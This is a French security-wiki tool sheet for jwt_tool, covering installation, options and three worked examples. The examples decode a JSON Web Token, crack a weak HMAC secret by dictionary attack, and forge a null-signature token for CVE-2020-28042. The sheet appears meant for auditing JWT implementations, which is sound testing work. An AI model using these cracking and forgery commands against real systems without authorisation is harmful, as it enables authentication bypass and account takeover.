====== Jwt tool ======
===== Description =====
**jwt_tool** est une boîte à outils open source conçue pour l'analyse, la manipulation et la génération de JSON Web Tokens (JWTs) au travers de l'utilisation de la ligne de commande.
===== Installation =====
L'installation nécessite d'avoir les outils suivants installés sur son système : **git**, **python3**, **pip3**.
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
python3 -m pip install -r requirements.txt
===== Cas d'utilisation =====
* Vérification de l'implémentation correcte des JWT sur une plateforme web ;
* Validation de l'absence de CVE.
===== Fonctionnalités principales =====
* Manipulation/génération de tokens ;
* Requêtes HTTP spécifiques ;
* Cassage de clés secrètes.
===== Manuel des options principales =====
-t TARGETURL, --targeturl TARGETURL : URL vers laquelle envoyer le JWT.
-rc COOKIES, --cookies COOKIES : cookies à envoyer avec la requête HTTP.
-rh HEADERS, --headers HEADERS : headers HTTP à envoyer avec la requête HTTP.
-pd POSTDATA, --postdata POSTDATA : données POST à envoyer avec la requête HTTP.
-M MODE, --mode MODE Scanning mode :
pb = audit du playbook
er = fuzz les claims connus pour provoquer des erreurs
cc = fuzz les claims communs
at - tous les tests
-X EXPLOIT, --exploit EXPLOIT :
eXploit known vulnerabilities:
a = algorithme à none
n = signature nulle
b = mot de passe vide
s = spoofing du JWKS
k = confusion de clé (spécifier la clé avec -pk)
i = injection d'un JWKS
-C, --crack : casser la clé pour un token HMAC-SHA (specifier -d/-p/-kf).
-d DICT, --dict DICT : chemin vers le dictionnaire pour le cassage de clé.
-p PASSWORD, --password PASSWORD : mot de passe du token.
===== Exemple d'exploitation ou d'utilisation =====
==== Exemple 1 - Lecture de token ====
La commande suivante permet de lire un token et d'en afficher les informations :
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po
Nous obtenons le résultat suivant :
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] typ = "JWT"
[+] alg = "HS256"
Token payload values:
[+] login = "ticarpi"
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
Grâce à cela, nous pouvons déterminer l'algorithme utilisé pour la signature du token ainsi que les informations du header.
====== Exemple 2 - Cassage de clé secrète ======
La commande suivante permet de casser une clé secrète faible grâce à une attaque par dictionnaire :
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -C -d /usr/share/wordlists/rockyou.txt
Nous obtenons le résultat suivant :
Original JWT:
[+] secret is the CORRECT key!
La clé utilisée pour signer le token est donc **CORRECT**, nous pouvons maintenant reforger le token avec des paramètres personnalisés.
====== Exemple 3 - Test d'une CVE connue ======
Nous pouvons aussi utiliser **jwt\_tool** pour tester des CVEs connues. Dans cet exemple, nous allons utiliser **jwt_tool** sur la **CVE-2020-28042**. Celle-ci permet de forger des tokens dont la signature est nulle mais qui sont quand même valides.
Avec **jwt_tool** nous forgeons un token à signature nulle :
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po -X n
Nous obtenons le résultat suivant :
jwttool_ed591ad5ea32583e84648d60a95626f5 - EXPLOIT: null signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.
Si le système que nous essayons de tester est vulnérable à la **CVE-2020-28042**, c'est à dire qu'il accepte le token que nous venons de forger, alors tout token forgé avec une signature nulle sera valide.
====== Retour fiches outils ======
* [[cyber:outils:accueil|Cyber fiches outils]]